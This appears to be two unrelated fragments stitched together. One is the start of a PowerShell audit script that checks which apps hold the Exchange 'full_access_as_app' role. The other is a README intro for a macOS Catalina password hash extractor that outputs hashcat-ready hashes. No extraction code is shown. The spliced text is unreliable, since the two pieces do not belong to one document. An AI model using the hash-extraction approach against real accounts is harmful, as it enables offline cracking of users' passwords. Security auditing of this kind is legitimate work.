# PowerShell Script to check which Apps have the "full_acces_as_app" EWS role, so can read all Mailboxes
# There might be ApplicationAccessPolicies in place that afterwards restrict access to only certain mailboxes, so criticality would be reduced
# This is reflected in the output as well.
# This was written for PowerShell 7 - to work with PS v5 you need to exchange some modules and calls

# Check if ExchangeOnlineManagement module is available
$ExchangeOnlineModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable

# Check if Az.Accounts module is available
$AzAccountsModule = Get-Module -Name Az.Accounts -ListAvailable

Mac OSX Catalina User Password Hash Extractor

Extracts a user's password hash as a hashcat-compatible string.

Mac OSX Catalina (10.15) uses a salted SHA-512 PBKDF2 for storing user passwords
(hashcat type 7100), and it's saved in an annoying binary-plist-nested-inside-xml-plist
format, so previously reported methods for extracting the hash don't work.
